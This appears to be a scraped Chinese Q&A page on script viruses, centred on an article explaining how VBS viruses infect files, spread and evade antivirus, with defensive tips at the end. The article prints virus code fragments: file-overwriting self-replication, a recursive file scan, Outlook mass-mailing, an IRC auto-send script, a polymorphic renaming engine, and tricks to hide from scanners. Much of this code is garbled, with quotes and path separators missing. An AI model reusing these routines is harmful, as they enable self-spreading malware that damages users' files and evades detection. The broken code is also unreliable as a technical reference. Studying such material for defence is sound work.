当前位置:首页 » 网页前端 » 脚本病毒代码分析和查看实验内容
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

脚本病毒代码分析和查看实验内容

发布时间: 2022-01-29 11:42:14

‘壹’ 什么是脚本病毒

什么是恶意脚本?
恶意脚本是指一切以制造危害或者损害系统功能为目的而从软件系统中增加、改变或删除的任何脚本。传统的恶意脚本包括:病毒,蠕虫,特洛伊木马,和攻击性脚本。更新的例子包括: Java攻击小程序(Java attack applets)和危险的ActiveX控件。
防治恶意脚本,应该采取以下措施 :
第一,上网时开启瑞星杀毒软件的八大监控。
第二,不要轻易浏览不良网站。
第三,如果怀疑自己感染了恶意脚本,可以登陆瑞星免费查毒网站,对自己的电脑进行全面扫描。

具体的原理和防范方法到这里去学习下:
http://www.yesky.com/SoftChannel/72356699872165888/20031015/1736105.shtml

‘贰’ 什么叫脚本病毒又何危害

脚本病毒

这类病毒编写最为简单,但造成的危害非常大。我们常见的浏览了xx站点就被改了主页,在收藏夹里被添加上很多无谓的东西,就是拜这类病毒所赐。

病毒描述:这类病毒的本质是利用脚本解释器的检查漏洞和用户权限设置不当进行感染传播;病毒本身是ascii码或者加密的ascii码,通过特定的脚本解释器执行产生规定行为,因其行为对计算机用户造成伤害,因此被定性为恶意程序。最常见的行为就是修改用户主页,搜索页,修改用户收藏夹,在每个文件夹下放置自动执行文件拖慢系统速度等;比较出名的如美利莎邮件病毒、新欢乐时光病毒、office的宏病毒等都属于这类。

病毒浅析:为了完成一些自动化的任务,需要用程序方式来实现。但复杂的程序编写又不是非程序人员能够胜任的。为了提高工作效率,方便用户操作,加强系统特性,于是许多软件/操作系统都预留了接口给用户,用简单的方法编写一些完成一定功能的小程序。程序本身是ascii码的,不编译,直接解释执行,在调试/修改使用上相当简便,虽然牺牲一定效率,但是换来了易用性。这本是一个良好的愿望,但太多的时候,这没有起到积极的作用,反而为脚本病毒编写者提供了良机。

以web病毒为例,由于用户缺乏安全意识用错误的权限登陆,导致ie中的解释器使用wsh可以操作硬盘上的文件和注册表,而javascript和vbscript调用wsh是很容易的事情——于是恶意脚本的作者只需要让你访问该页面,就能在你本地写上一些恶意的脚本,在注册表里修改你的主页/搜索项了。而利用ie的activex检查漏洞,则可以在不提示地情况下从网络上下载文件并自动执行——这就成了木马攻击的前奏曲;利用mime头漏洞,则可以用一个以jpg结尾的url中,指向一个事实上的web页,然后在web页中内嵌图片+恶意代码的方式迷惑计算机用户;利用outlook自动读去eml的特性和mime头检查不严格来执行恶意2进制代码;利用本地硬盘上有执行autorun.inf的特性(这功能本来是光驱用的,我们的光盘之所以放进去就能自动读出程序,就是光盘上有个名为autorun.inf文件起的作用,它是个文本文件,各位可以看看)把一些需要加载的程序写到该文件下导致每次访问该分区的时候就会自动运行;利用windows下会优先读取folder.htt和desktop.ini的特性,将恶意代码写入其中,导致访问任何一个文件夹的时候都会启动该病毒,再配合上锁定注册表的功能,杀除起来异常麻烦——不复杂,但是相当烦琐,一不留意没杀干净一处,又导致死灰复燃,前功尽弃。

病毒自查:上面有提到,这类病毒一般以捣乱居多,所以特别容易发现。而其另一个作用是作为木马进驻系统的先遣部队,利用浏览器漏洞等达到下载木马文件到本地硬盘,并修改启动项,达到下次启机运行的目的。因此一旦发现木马的同时,也可以检查一下是不是有些可疑的脚本文件。

病毒查杀:这类病毒一般来说由于其编写灵活,源代码公开,所以衍生版本格外地多;杀毒软件/木马杀除软件对待这类病毒大多没用。而由于脚本病毒(除宏病毒外)大多是独立文件,只要将这些文件查找出来删除掉就行了。不过这里值得留意的是,利用微软的浏览器的漏洞,在点击选择某些文件的同时就自动执行了,甚至打开浏览器的同时脚本病毒就开始驻留感染——这样是无法杀除干净的。

正确的做法是使用其他第三方的资源浏览器,例如Total Command就是一个非常不错的选择。查杀大致过程如下:首先,在资源浏览器——工具——文件夹选项中,将“使用Windows传统风格的桌面”取消掉,在桌面上点右键,点“属性”——“桌面设置”,将使用活动桌面取消,接着查杀可疑对象;常见查杀对象:各个根分区下的autorun.inf,各个目录下的desktop.ini和folder.htt(有几个是系统自带的,不过删除了也无关系的),这一步最好采用第三方的资源浏览器,例如前面介绍的Total Command来完成。在这一步,最忌讳查杀不净,即使有一个病毒遗漏,很快就又遍布各个文件夹内了。关于邮件病毒的杀除使用专杀工具就行了。

病毒残留:纯粹脚本病毒在杀除后不会有任何残留,但由于目前的病毒大都采用复合形态,捆绑多种传染方式和多种特性,因此不少脚本病毒只是将用户机器的安全防线撕开的前奏——真正的破坏主力木马、蠕虫尾随其后进入系统,因此在杀除掉脚本病毒后,非常有必要连带着检查系统中是否已经有了木马和蠕虫病毒。

病毒防御:脚本病毒的特性之一就是被动触发——因此防御脚本病毒最好的方法是不访问带毒的文件/web网页,在网络时代,脚本病毒更以欺骗的方式引诱人运行居多。由于ie本身存在多个漏洞,特别是执行activex的功能存在相当大的弊端,最近爆出的重大漏洞都和它有关,包括mozilla的windows版本也未能幸免。因此个人推荐使用myie2软件代替ie作为默认浏览器,因为myie2中有个方便的功能是启用/禁用web页面的activex控件,在默认的时候,可以将页面中的activex控件全部禁用,待访问在线电影类等情况下根据自己的需要再启用。关于邮件病毒,大多以eml作为文件后缀的,如果您单机有用outlook取信的习惯,最好准备一个能检测邮件病毒的杀毒软件并及时升级。如果非必要,将word等office软件中的宏选项设置为禁用。脚本病毒是目前网络上最为常见的一类病毒,它编写容易,源代码公开,修改起来相当容易和方便,而且往往给用户造成的巨大危害。

以上4类程序的介绍,为了降低学习难度,我是单态方式来介绍的。事实上目前的病毒大多以具有上面4类程序中的2到3类的特征,因此无论感染,传播,杀除的困难都大大增加。例如发文前夕的mydoom新变种病毒的分析中:它利用系统漏洞/邮件群发/共享漏洞方式传播(具备了蠕虫、脚本病毒和新型病毒的传播特性),进驻用户系统后上载自身并运行(木马特性),获取用户本地outlook中的地址本(木马特性),通过调用google等搜索引擎获取用户email地址本中同后缀的相关选项(调用系统程序,木马功能),再主动给地址本中的每个程序发出email(木马特性)。对待这样一个病毒,无论是系统存在漏洞、共享安全设置不当、或者随意地打开了“朋友”发来的email,都可能导致中毒。关于中毒途径的分析,留待下一站《攻击防御之旅》内一并介绍。

在从第一个病毒出现到现在,已经有整整半个世纪了,病毒的发展日新月异,令查杀的困难大大增加,造成的损失也异常巨大。或许,计算机病毒这个幽灵,从计算机诞生的那一刻起就注定要如影相随的。只要还有用心险恶的人存在,那么病毒就不会消亡。病毒之战,恐怕会在今后的日子里越演越烈……

‘叁’ 常见的脚本病毒有哪些

1、系统病毒

系统病毒的前缀为:Win32、PE、Win95、W32、W95等。这些病毒的一般公有的特性是可以感染windows操作系统的 *.exe 和 *.dll 文件,并通过这些文件进行传播。如CIH病毒。

2、蠕虫病毒

蠕虫病毒的前缀是:Worm。这种病毒的公有特性是通过网络或者系统漏洞进行传播,很大部分的蠕虫病毒都有向外发送带毒邮件,阻塞网络的特性。比如冲击波(阻塞网络),小邮差(发带毒邮件) 等。

3、木马病毒、黑客病毒

木马病毒其前缀是:Trojan,黑客病毒前缀名一般为 Hack 。木马病毒的公有特性是通过网络或者系统漏洞进入用户的系统并隐藏,然后向外界泄露用户的信息,而黑客病毒则有一个可视的界面,能对用户的电脑进行远程控制。木马、黑客病毒往往是成对出现的,即木马病毒负责侵入用户的电脑,而黑客病毒则会通过该木马病毒来进行控制。现在这两种类型都越来越趋向于整合了。一般的木马如QQ消息尾巴木马 Trojan.QQ3344 ,还有大家可能遇见比较多的针对网络游戏的木马病毒如 Trojan.LMir.PSW.60 。这里补充一点,病毒名中有PSW或者什么PWD之类的一般都表示这个病毒有盗取密码的功能(这些字母一般都为“密码”的英文“password”的缩写)一些黑客程序如:网络枭雄(Hack.Nether.Client)等。

4、脚本病毒

脚本病毒的前缀是:Script。脚本病毒的公有特性是使用脚本语言编写,通过网页进行的传播的病毒,如红色代码(Script.Redlof)——可不是我们的老大代码兄哦 ^_^。脚本病毒还会有如下前缀:VBS、JS(表明是何种脚本编写的),如欢乐时光(VBS.Happytime)、十四日(Js.Fortnight.c.s)等。

5、宏病毒

其实宏病毒是也是脚本病毒的一种,由于它的特殊性,因此在这里单独算成一类。宏病毒的前缀是:Macro,第二前缀是:Word、Word97、Excel、Excel97(也许还有别的)其中之一。凡是只感染WORD97及以前版本WORD文档的病毒采用Word97做为第二前缀,格式是:Macro.Word97;凡是只感染WORD97以后版本WORD文档的病毒采用Word做为第二前缀,格式是:Macro.Word;凡是只感染EXCEL97及以前版本EXCEL文档的病毒采用Excel97做为第二前缀,格式是:Macro.Excel97;凡是只感染EXCEL97以后版本EXCEL文档的病毒采用Excel做为第二前缀,格式是:Macro.Excel,依此类推。该类病毒的公有特性是能感染OFFICE系列文档,然后通过OFFICE通用模板进行传播,如:着名的美丽莎(Macro.Melissa)。

6、后门病毒

后门病毒的前缀是:Backdoor。该类病毒的公有特性是通过网络传播,给系统开后门,给用户电脑带来安全隐患。如54很多朋友遇到过的IRC后门Backdoor.IRCBot 。

7、病毒种植程序病毒

这类病毒的公有特性是运行时会从体内释放出一个或几个新的病毒到系统目录下,由释放出来的新病毒产生破坏。如:冰河播种者(Dropper.BingHe2.2C)、MSN射手(Dropper.Worm.Smibag)等。

8.破坏性程序病毒

破坏性程序病毒的前缀是:Harm。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击,当用户点击这类病毒时,病毒便会直接对用户计算机产生破坏。如:格式化C盘(Harm.formatC.f)、杀手命令(Harm.Command.Killer)等。

9.玩笑病毒

玩笑病毒的前缀是:Joke。也称恶作剧病毒。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击,当用户点击这类病毒时,病毒会做出各种破坏操作来吓唬用户,其实病毒并没有对用户电脑进行任何破坏。如:女鬼(Joke.Girlghost)病毒。

10.捆绑机病毒

捆绑机病毒的前缀是:Binder。这类病毒的公有特性是病毒作者会使用特定的捆绑程序将病毒与一些应用程序如QQ、IE捆绑起来,表面上看是一个正常的文件,当用户运行这些捆绑病毒时,会表面上运行这些应用程序,然后隐藏运行捆绑在一起的病毒,从而给用户造成危害。如:捆绑QQ(Binder.QQPass.QQBin)、系统杀手(Binder.killsys)等。

‘肆’ 怎样读出病毒的代码

病毒可以分为两类-脚本病毒和非脚本病毒

1.脚本病毒
如果是脚本病毒的话,象以bat,vbs,hta,htm结尾的病毒文件等等,都是可以用笔记本打开的,打开后就可以读出病毒代码了,
举个例子,欢乐时光是一个很有名的脚本病毒,他是一个程序高手利用hta文件编辑出来的,功能强大。你可以到网上搜 “欢乐时光 病毒 代码” 然后就可以得到他的代码了

2.非脚本病毒
这个大多数是以VB,VC,DELPHI编辑出来的病毒,后缀大多是exe,这样的病毒是不可以用文档编辑的,所以代码也不可以知道,但是,如果你精通汇编的话,可以查看他的汇编代码(非原始代码),可以了解他运行后会怎样工作。

‘伍’ 解释一个VBS脚本病毒代码

有一段的解释是:要修改管理员用户的名字与权限,还有就是要生成些病毒编写者的其他自己编写的文件,还有就是系统路径的修改的问题,还有就是管理员用户的系统的终端的修改,创建有病毒编写者的自己的键值。

‘陆’ 以下面代码为例,分析VBS脚本病毒感染及搜索文件的方法

我不做枪手,不懂的语句可看 Microsoft Windows脚本技术 ,网上有的下

‘柒’ 如何查杀脚本病毒

卡巴斯基单机版(Kaspersky Anti-Virus Personal)是俄罗斯着名数据安全厂商Kaspersky Labs专为我.
国个人用户度身定制的反病毒产品。这款产品功能包括:病毒扫描、驻留后台的病毒防护程序、脚本病
毒拦截器以及邮件检测程序,时刻监控一切病毒可能入侵的途径。产品采用第二代启发式代码分析技术、iChecker实时监控技术和独特的脚本病毒拦截技术等多种最尖端的反病毒技术,能够有效查杀"冲击波"、"Welchia"、"Sobig.F"等病毒及其其他8万余种病毒,并可防范未知病毒。另外,该软件的界面简单、集中管理、提供多种定制方式,自动化程度高,而且几乎所有的功能都是在后台模式下运行,系统资源占有低。最具特色的是该产品每天两次更新病毒代码,更新文件只有3-20Kb,对网络带宽的影响极其微小,能确保用户系统得到最为安全的保护,是个人用户的首选反病毒产品
参考资料:卡巴斯基(Kaspersky Anti-Virus) 6.0.2.621

瑞星对注册表的监控是不错

NOD32+360安全卫士...NOD32是全球排名第5的杀毒软件.杀毒功能强大,查杀速度快.占用资源少...另外,该软件的界面简单、集中管理、提供多种定制方式,自动化程度高,而且几乎所有的功能都是在后台模式下运行,系统资源占有低。最具特色的是该产品每天两次更新病毒代码,更新文件只有3-20Kb,对网络带宽的影响极其微小,能确保用户系统得到最为安全的保护,是个人用户的首选反病毒产

‘捌’ 什么是脚本病毒啊

脚本病毒通常是JavaScript代码编写的恶意代码,
一般带有广告性质,会修改您的IE首页、修改注册表等信息,造成用户使用计算机不方便。

至于你说的那个,只要是杀毒查出来的,不管他,杀了!

‘玖’ VBS脚本病毒的病毒原理分析

1.vbs脚本病毒如何感染、搜索文件
VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而宏病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过宏病毒的部分代码具体分析一下这类病毒的感染和搜索原理:
以下是文件感染的部分关键代码:
Set fso=createobject(scripting.filesystemobject)
'创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1)
'读打开当前文件(即病毒本身)
vbs=self.readall
' 读取病毒全部代码到字符串变量vbs……
set ap=fso.opentextfile(目标文件.path,2,true)
' 写打开目标文件,准备写入病毒代码
ap.write vbs ' 将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path) '得到目标文件路径
cop.(目标文件.path & .vbs)
' 创建另外一个病毒文件(以.vbs为后缀)
目标文件.delete(true)
'删除目标文件
上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbs,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。
下面我们具体分析一下文件搜索代码:
'该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本
sub scan(folder_) 'scan函数定义,
on error resume next '如果出现错误,直接跳过,防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file)
'获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext=mp5 then '如果后缀名是mp5,则进行感染。
请自己建立相应后缀名的文件,最好是非正常后缀名 ,以免破坏正常程序。
Wscript.echo (file)
end ifnextset subfolders=folder_.subfoldersfor each subfolder in subfolders '搜索其他目录;递归调用
scan( ) scan(subfolder)
next
end sub
上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。
2.vbs脚本病毒通过网络传播的几种方式及代码分析
VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播:
1)通过Email附件传播
这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject(Outlook.Application)
//创建一个OUTLOOK应用的对象
If outlookApp= Outlook Then
Set mapiObj=outlookApp.GetNameSpace(MAPI)
//获取MAPI的名字空间
Set addrList= mapiObj.AddressLists
//获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count
//获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount
//遍历地址表的Email地址
Set item = outlookApp.CreateItem(0)
//获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex)
//获取具体Email地址
= addrEnt.Address
//填入收信人地址
item.Subject = 病毒传播实验
//写入邮件标题
item.Body = 这里是病毒邮件传播测试,收到此信请不要慌张!
//写入文件内容
Set attachMents=item.Attachments //定义邮件附件
attachMents.Add fileSysObj.GetSpecialFolder(0)& est.jpg.vbs
item.DeleteAfterSubmit = True
//信件提交后自动删除
Then
item.Send
//发送邮件
shellObj.regwrite HKCUsoftwareMailtestmailed, 1
//病毒标记,以免重复感染
End If
NextEnd IfNext
End if
End Function
2)通过局域网共享传播
局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。
在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。
welcome_msg = 网络连接搜索测试
Set WSHNetwork = WScript.CreateObject(WScript.Network)
’创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections
’创建一个网络打印机连接列表
WScript.Echo Network printer mappings:
For i = 0 to oPrinters.Count - 1Step2
’显示网络打印机连接情况
WScript.Echo Port &oPrinters.Item(i)
& = & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives
’创建一个网络共享连接列表
If colDrives.Count = 0 Then
MsgBox 没有可列出的驱动器。,
vbInformation + vbOkOnly,welcome_msg
Else
strMsg = 当前网络驱动器连接: &CRLF
Fori=0To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13)&Chr(10)&colDrives(i)
& Chr(9)&colDrives(i+1)
Next
MsgBox strMsg, vbInformation + vbOkOnly,
welcome_msg’显示当前网络驱动器连接
End If
上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后,我们就可以直接向目标驱动器读写文件了。
3)通过感染htm、asp、jsp、php等网页文件传播
如今,WWW服务已经变得非常普遍,病毒通过感染htm等文件,势必会导致所有访问过该网页的用户机器感染病毒。
病毒之所以能够在htm文件中发挥强大功能,采用了和绝大部分网页恶意代码相同的原理。基本上,它们采用了相同的代码,不过也可以采用其它代码,这段代码是病毒FSO,WSH等对象能够在网页中运行的关键。在注册表HKEY_CLASSES_ROOTCLSID下我们可以找到这么一个主键,注册表中对它他的说明是“Windows Script Host Shell Object”,同样,我们也可以找到,注册表对它的说明是“FileSystem Object”,一般先要对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用FSO、WSH两个对象,调用它们的强大功能。代码如下所示:
Set Apple0bject = document.applets(KJ_guest)Apple0bject.setCLSID()Apple0bject.createInstance() ’创建一个实例
Set WsShell Apple0bject.Get0bject()
Apple0bject.setCLSID()
Apple0bject.createInstance()
’创建一个实例
Set FSO = Apple0bject.Get0bject()
对于其他类型文件,这里不再一一分析。
4)通过IRC聊天通道传播
病毒通过IRC传播一般来说采用以下代码(以MIRC为例)
Dim mirc
set fso=CreateObject(Scripting.FileSystemObject)
set mirc=fso.CreateTextFile(C:mircscript.ini)
’创建文件script.ini
fso.CopyFile Wscript.ScriptFullName, C:mircattachment.vbs,
True ’将病毒文件备份到attachment.vbs
mirc.WriteLine [script]
mirc.WriteLine n0=on 1:join:*.*:
{if($nick !=$me) /dcc send $nick C:mircattachment.vbs }
'利用命令/ddc send $nick attachment.vbs给通道中的其他用户传送病毒文件
mirc.Close
以上代码用来往Script.ini文件中写入一行代码,实际中还会写入很多其他代码。Script.ini中存放着用来控制IRC会话的命令,这个文件里面的命令是可以自动执行的。譬如,TUNE.VBS病毒就会修改c:mircscript.ini 和 c:mircmirc.ini,使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。同样,如果Pirch98已安装在目标计算机的c:pirch98目录下,病毒就会修改c:pirch98events.ini和c:pirch98pirch98.ini,使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。
另外病毒也可以通过现在广泛流行的KaZaA进行传播。病毒将病毒文件拷贝到KaZaA的默认共享目录中,这样,当其他用户访问这台机器时,就有可能下载该病毒文件并执行。这种传播方法可能会随着KaZaA这种点对点共享工具的流行而发生作用。
还有一些其他的传播方法,我们这里不再一一列举。
3.VBS脚本病毒如何获得控制权
如何获取控制权?这一个是一个比较有趣的话题,而VBS脚本病毒似乎将这个话题发挥的淋漓尽致。笔者在这里列出几种典型的方法:
1)修改注册表项
windows在启动的时候,会自动加载HKEY_LOCAL_项下的各键值所执向的程序。脚本病毒可以在此项下加入一个键值指向病毒程序,这样就可以保证每次机器启动的时候拿到控制权。vbs修改注册表的方法比较简单,直接调用下面语句即可。 wsh.RegWrite(strName, anyvalue [,strType])
2)通过映射文件执行方式
譬如,我们新欢乐时光将dll的执行方式修改为wscript.exe。甚至可以将exe文件的映射指向病毒代码。
3)欺骗用户,让用户自己执行
这种方式其实和用户的心理有关。譬如,病毒在发送附件时,采用双后缀的文件名,由于默认情况下,后缀并不显示,举个例子,文件名为beauty.jpg.vbs的vbs程序显示为beauty.jpg,这时用户往往会把它当成一张图片去点击。同样,对于用户自己磁盘中的文件,病毒在感染它们的时候,将原有文件的文件名作为前缀,vbs作为后缀产生一个病毒文件,并删除原来文件,这样,用户就有可能将这个vbs文件看作自己原来的文件运行。
4)desktop.ini和folder.htt互相配合
这两个文件可以用来配置活动桌面,也可以用来自定义文件夹。如果用户的目录中含有这两个文件,当用户进入该目录时,就会触发folder.htt中的病毒代码。这是新欢乐时光病毒采用的一种比较有效的获取控制权的方法。并且利用folder.htt,还可能触发exe文件,这也可能成为病毒得到控制权的一种有效方法!
病毒获得控制权的方法还有很多,这方面作者发挥的余地也比较大。
4.vbs脚本病毒对抗反病毒软件的几种技巧
病毒要生存,对抗反病毒软件的能力也是必需的。一般来说,VBS脚本病毒采用如下几种对抗反病毒软件的方法:
1)自加密
譬如,新欢乐时光病毒,它可以随机选取密钥对自己的部分代码进行加密变换,使得每次感染的病毒代码都不一样,达到了多态的效果。这给传统的特征值查毒法带来了一些困难。病毒也还可以进一步的采用变形技术,使得每次感染后的加密病毒的解密后的代码都不一样。
下面看一个简单的vbs脚本变形引擎(来自flyshadow)
Randomize
Set Of = CreateObject(Scripting.FileSystemObject)
’创建文件系统对象
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall
’读取自身代码
fS=Array(Of, vC, fS, fSC)
’定义一个即将被替换字符的数组
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65))
& Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65))
& Chr((Int(Rnd * 22) + 65)))
’取4个随机字符替换数组fS中的字符串
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC ’将替换后的代码写回文件
上面这段代码使得该VBS文件在每次运行后,其Of,vC,fS,fSC四字符串都会用随机字符串来代替,这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。
2)巧妙运用Execute函数
用过VBS程序的朋友是否会觉得奇怪:当一个正常程序中用到了FileSystemObject对象的时候,有些反病毒软件会在对这个程序进行扫描的时候报告说此Vbs文件的风险为高,但是有些VBS脚本病毒同样采用了FileSystemObject对象,为什么却又没有任何警告呢?原因很简单,就是因为这些病毒巧妙的运用了Execute方法。有些杀毒软件检测VBS病毒时,会检查程序中是否声明使用了FileSystemObject对象,如果采用了,这会发出报警。如果病毒将这段声明代码转化为字符串,然后通过Execute(String)函数执行,就可以躲避某些反病毒软件。
3)改变某些对象的声明方法
譬如fso=createobject(scripting.filesystemobject),我们将其改变为
fso=createobject(script+ing.filesyste+mobject),这样反病毒软件对其进行静态扫描时就不会发现filesystemobject对象。
4)直接关闭反病毒软件
VBS脚本功能强大,它可以直接在搜索用户进程然后对进程名进行比较,如果发现是反病毒软件的进程就直接关闭,并对它的某些关键程序进行删除。
5.Vbs病毒生产机的原理介绍
所谓病毒生产机就是指可以直接根据用户的选择产生病毒源代码的软件。在很多人看来这或许不可思议,其实对脚本病毒而言它的实现非常简单。
脚本语言是解释执行的、不需要编译,程序中不需要什么校验和定位,每条语句之间分隔得比较清楚。这样,先将病毒功能做成很多单独的模块,在用户做出病毒功能选择后,生产机只需要将相应的功能模块拼凑起来,最后再作相应的代码替换和优化即可。由于篇幅关系和其他原因,这里不作详细介绍。
三、如何防范vbs脚本病毒
1.如何从样本中提取(加密)脚本病毒
对于没有加密的脚本病毒,我们可以直接从病毒样本中找出来,现在介绍一下如何从病毒样本中提取加密VBS脚本病毒,这里我们以新欢乐时光为例。
用JediEdit打开folder.htt。我们发现这个文件总共才93行,第一行,几行注释后,以开始,节尾。相信每个人都知道这是个什么类型的文件吧!
第87行到91行,是如下语句:
87:
第87和91行不用解释了,第88行是一个字符串的赋值,很明显这是被加密过的病毒代码。看看89行最后的一段代码ThisText = ThisText & TempChar,再加上下面那一行,我们肯定能够猜到ThisText里面放的是病毒解密代码(熟悉vbs的兄弟当然也可以分析一下这段解密代码,too simple!就算完全不看代码也应该可以看得出来的)。第90行是执行刚才ThisText中的那段代码(经过解密处理后的代码)。
那么,下一步该怎么做呢?很简单,我们只要在病毒代码解密之后,将ThisText的内容输出到一个文本文件就可以解决了。由于上面几行是vbscript,于是我创建了如下一个.txt文件:
首先,第88、89两行到刚才建立的.txt文件,当然如果你愿意看看新欢乐时光的执行效果,你也可以在最后输入第90行。然后在下面一行输入创建文件和将ThisText写入文件vbs代码,整个文件如下所示:
ExeString = Afi...’ 第88行代码
Execute(Dim KeyAr... ’ 第89行代码
set fso=createobject(scripting.filesystemobject)
’ 创建一个文件系统对象
set virusfile=fso.createtextfile(resource.log,true)
’ 创建一个新文件resource.log,
用以存放解密后的病毒代码 virusfile.writeline(ThisText)
’ 将解密后的代码写入resource.log
OK!就这么简单,保存文件,将该文件后缀名.txt改为.vbs(.vbe也可以),双击,你会发现该文件目录下多了一个文件resource.log,打开这个文件,怎么样?是不是“新欢乐时光”的源代码啊!
2.vbs脚本病毒的弱点
vbs脚本病毒由于其编写语言为脚本,因而它不会像PE文件那样方便灵活,它的运行是需要条件的(不过这种条件默认情况下就具备了)。笔者认为,VBS脚本病毒具有如下弱点:
1)绝大部分VBS脚本病毒运行的时候需要用到一个对象:FileSystemObject
2)VBScript代码是通过Windows Script Host来解释执行的。
3)VBS脚本病毒的运行需要其关联程序Wscript.exe的支持。
4)通过网页传播的病毒需要ActiveX的支持
5)通过Email传播的病毒需要OE的自动发送邮件功能支持,但是绝大部分病毒都是以Email为主要传播方式的。
3.如何预防和解除vbs脚本病毒
针对以上提到的VBS脚本病毒的弱点,笔者提出如下集中防范措施:
1)禁用文件系统对象FileSystemObject
方法:用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。其中regsvr32是WindowsSystem下的可执行文件。或者直接查找scrrun.dll文件删除或者改名。
还有一种方法就是在注册表中HKEY_CLASSES_ROOTCLSID下找到一个主键的项,咔嚓即可。
2)卸载Windows Scripting Host
在Windows 98中(NT 4.0以上同理),打开[控制面板]→[添加/删除程序]→[Windows安装程序]→[附件],取消“Windows Scripting Host”一项。
和上面的方法一样,在注册表中HKEY_CLASSES_ROOTCLSID下找到一个主键的项,咔嚓。
3)删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射
点击[我的电脑]→[查看]→[文件夹选项]→[文件类型],然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射。
4)在Windows目录中,找到WScript.exe,更改名称或者删除,如果你觉得以后有机会用到的话,最好更改名称好了,当然以后也可以重新装上。
5)要彻底防治VBS网络蠕虫病毒,还需设置一下你的浏览器。我们首先打开浏览器,单击菜单栏里“Internet 选项”安全选项卡里的[自定义级别]按钮。把“ActiveX控件及插件”的一切设为禁用,这样就不怕了。呵呵,譬如新欢乐时光的那个ActiveX组件如果不能运行,网络传播这项功能就玩完了。
6)禁止OE的自动收发邮件功能
7)由于蠕虫病毒大多利用文件扩展名作文章,所以要防范它就不要隐藏系统中已知文件类型的扩展名。Windows默认的是“隐藏已知文件类型的扩展名称”,将其修改为显示所有文件类型的扩展名称。
8)将系统的网络连接的安全级别设置至少为“中等”,它可以在一定程度上预防某些有害的Java程序或者某些ActiveX组件对计算机的侵害。
9)呵呵,最后一项不说大家也应该知道了,杀毒软件确实很必要,尽管有些杀毒软件挺让广大用户失望,不过,选择是双方的哦。在这个病毒横飞的网络,如果您的机器没有装上杀毒软件我觉得确实挺不可思议的。
四、对所有脚本类病毒发展的展望
随着网络的飞速发展,网络蠕虫病毒开始流行,而VBS脚本蠕虫则更加突出,不仅数量多,而且威力大。由于利用脚本编写病毒比较简单,除了将继续流行目前的VBS脚本病毒外,将会逐渐出现更多的其它脚本类病毒,譬如PHP,JS,Perl病毒等。但是脚本并不是真正病毒技术爱好者编写病毒的最佳工具,并且脚本病毒解除起来比较容易、相对容易防范。笔者认为,脚本病毒仍将继续流行,但是能够具有像宏病毒、新欢乐时光那样大影响的脚本蠕虫病毒只是少数。

‘拾’ 什么叫脚本病毒

脚本病毒通常是JavaScript代码编写的恶意代码,
一般带有广告性质,会修改您的IE首页、修改注册表等信息,造成用户使用计算机不方便。

http://tech.163.com/04/1125/10/161E2F1L000915E9.html
这个上很详细。